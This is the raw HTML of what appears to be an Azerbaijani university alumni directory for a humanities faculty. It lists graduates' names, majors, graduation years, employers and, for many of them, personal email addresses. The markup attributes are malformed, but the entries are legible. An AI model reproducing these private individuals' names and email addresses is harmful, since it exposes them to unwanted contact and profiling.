style=\"background-image: url(\" \");\"=\"\"><strong>Nərmin Sucayeva&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Nərmin Nurullayeva&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Nərmin Quliyeva&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Nərgiz Məmmdova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Novruz</strong>&nbsp;Hüseynov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:huseynov@hotmail.it\">huseynov@hotmail.it</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong>Nərmin</strong>  Bayramova <br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Hüquq və sosial elmlər fakultəsi&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 1993&nbsp;/magistr 1998/AMEA-nın Fəlsəfə və Hüquq İnstitutunun dissertantura şöbəsinə daxil olmuş 2006&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Cinayət prosessi üzrə hüquq elmləri namizədiyəm&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">28.06.2001-01.12.2007 - Azərbaycan Elmi-Tətqiqat Məhkəmə Ekspertizası, Kriminalistika və Kriminologiya Problemləri İnstitutunda, kiçik elmi işçi, elmi işçi&nbsp;<br></p><p>01.12.2007-30.01.2015 - Azərbaycan Respublikasının Prezidenti yanında Dövlət Qulluğu Məsələləri üzrə Komissiya, baş məsləhətçi, sektor müdiri</p><p>02.02.2015-18.02.2015 - Azərbaycan Respublikasının Dövlət Şəhərsalma və Arxitektura Komitəsi, şöbə müdirinin müavini, Hüquq və kadr məsələləri şöbəsinin müdiri</p><p>Dövlət qulluğunun kiçik müşaviri&nbsp; ixtisas dərəcəsinə malikəm.&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong></strong></p><h3 id=\"O\">O</h3><br><p><strong></strong><strong>Ofelya &nbsp;Məmmədzadə</strong></p><p>Humanitar və sosial elmlər</p><p>İngilis dili və Ədəbiyyatı (filologiya</p><p>E-mail:&nbsp;<a href=\"mailto:Ofelya.memmedzade@mail.ru\">Ofelya.memmedzade@mail.ru</a>&nbsp;<br></p><p>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Orxan Hüseynov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Beynəlxalq Münasibətlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"P\">P</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Peyman Almasov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Humanitar və Sosial Elmlər Fakultəsi,&nbsp;Regionşünaslıq</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Qafqaz Universiteti, Mühazirəçi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:peymanalmas@gmail.com\">peymanalmas@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><h3 id=\"R\">R</h3><p><strong>Rafiq Yusifzadə</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:yusifzade.rafikrafik@gmail.com\">yusifzade.rafikrafik[at]gmail.com</a></p>\r\n<p>“Odlar Yurdu” Universiteti</p>\r\n<p><strong><br></strong></p><p><strong>Ramazan Məmmədov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:inteligent9992@mail.ru\">inteligent9992[at]mail.ru</a> &nbsp;</p>\r\n<p>Təhsil:\r\nASUE,\r\nMA </p>\r\n<p>Atropatotel,\r\nQeydiyyat şöbəsi</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Ruslan Salahov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:ruslan.salahov1@mail.ru\">ruslan.salahov1@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Ramila Karimova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər,&nbsp;Beynelxalq münasibetler</p><p>Azerbaycan Respublikasinin Merkezi Banki, Beynelxalq emekdasliq ve kommunikasiya departamenti, Mütexessis</p><p>E-mail:&nbsp;<a href=\"http://yahoo.com/\">&nbsp;ramilekerim5@yahoo.com</a><a href=\"http://yahoo.com/\"></a></p><p>Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Rahib</strong>&nbsp;Quliyev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pace MMC&nbsp; Tikinti və Dizayn company 3D Dizayner</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:rahib.quliyev@gmail.com\">rahib.quliyev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ruhəngiz Əsgərova &nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Rəhimə Eldarova &nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Rəmayə Tahirli &nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Tərcümə&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Ramal Quluzadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Dünya Siyasi proseslərinin və Beynəlxalq Münasibətlərin nəzəriyyəsi&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Rəcəb Əlizadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">İngilis dili və Ədəbiyyatı&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"S\">S</h3><p><strong>Selcan Əliyeva</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ase1996@bk.ru\">ase1996[at]bk.ru</a></p>\r\n<p><strong>&nbsp;</strong></p><p><strong>Surəya Cabbarova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:suraya.jabbarova1@gmail.com\">suraya.jabbarova1[at]gmail.com</a> &nbsp;</p>\r\n<p>Azərbaycan Respublikası Dövlət Miqrasiya Xidməti</p>\r\n<p><strong><br></strong></p><p><strong>Samir Tilazadə </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>Hərbi xidmətdə<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Sevil Əliyeva</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail:&nbsp;<a href=\"mailto:sevil102014@gmail.com\">sevil102014[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Sabir Garayev</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Sabir_garayev@mail.ru\">Sabir_garayev[at]mail.ru</a> &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Şəmsiyyə Eynullazadə</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p><strong><br></strong></p><p><strong>Solmaz Abbaszadə</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:solmaz.abbaszade@yahoo.com.tr\">solmaz.abbaszade[at]yahoo.com.tr</a>,&nbsp;<a href=\"mailto:solmaz.abbaszadeh1@gmail.com\">solmaz.abbaszadeh1[at]gmail.com</a></p>\r\n<p>ECIC\r\nEnglish School, Müəllim</p>\r\n<p><strong><br></strong></p><p><strong>Samir Quliyev </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Iman.iman.2015@inbox.ru\">Iman.iman.2015[at]inbox.ru</a> &nbsp;</p>\r\n<p>Şəxsi biznes</p>\r\n<p><strong><br></strong></p><p><strong>Səbinə İbrahimova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:sabin_i95@mail.ru\">sabin_i95[at]mail.ru</a>&nbsp; </p>\r\n<p><strong><br></strong></p><p><strong>Sevil Rəsulzadə</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Radio-tele jurnalistika, 2017</p>\r\n<p>E-mail: <a href=\"mailto:sevilyaaresulzade@gmail.com\">sevilyaaresulzade[at]gmail.com</a></p>\r\n<p>Ailə, aqdın və Uşaq Problemləri üzrə Dövlət Komitəsi, İnformasiya və\r\nAnalitik Tədqiqat şöbəsində aparıcı məsləhətçi</p>\r\n<p><strong><br></strong></p><p><strong>Svetlana İsayeva </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:sveta_seya@hotmail.com\">sveta_seya[at]hotmail.com</a></p>\r\n<p>“KOÇ AVİS” ofis meneceri</p>\r\n<p><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong><strong>Sevinc Babayeva</strong></p><p>Humanitar və sosial elmlər&nbsp;<br></p><p>Jurnalistika</p><p>Azerfon -marketing survey</p><p>E-mail:&nbsp;<a href=\"mailto:sbabayeva@azerfon.az\">sbabayeva@azerfon.az</a></p><p><a href=\"mailto:sbabayeva@azerfon.az\"></a>2014</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>Sevinc&nbsp; Qasimzade</strong></p><p>Humanitar və sosial elmlər&nbsp;<br></p><p>Regionshunasliq</p><p>E-mail:&nbsp;<a href=\"mailto:sevinjgasimzade@gmail.com\" target=\"_blank\">sevinjgasimzade@gmail.com</a></p><p><a href=\"mailto:sevinjgasimzade@gmail.com\" target=\"_blank\"></a>Bakalavr 2014</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Sevinc Babayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Jurnalistika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azerfon Şirkəti</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sbabayeva@azerfon.az\">sbabayeva@azerfon.az</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Siddiqə Əhmədova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ingilis dili/Jurnalistika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">BMT</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:siddiga@gmail.com\">siddiga@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2000</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Sona Dadaşova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Filologiya fakultesi: Ingilis dili ve edebiyyat, Fars dili</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ADA Universitetinde Telebe qebul shobesinde</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sdadashova@ada.edu.az\">sdadashova@ada.edu.az</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2004</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Sahib</strong>&nbsp;Balcanov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">\"Azerbaijan Steel Production Complex” QSC</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sahib.baljanov@yahoo.com\">sahib.baljanov@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Səxavət</strong>&nbsp;Mütəllimov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">City mansion hotel</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Sexavetmutallim@gmail.com\">Sexavetmutallim@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" 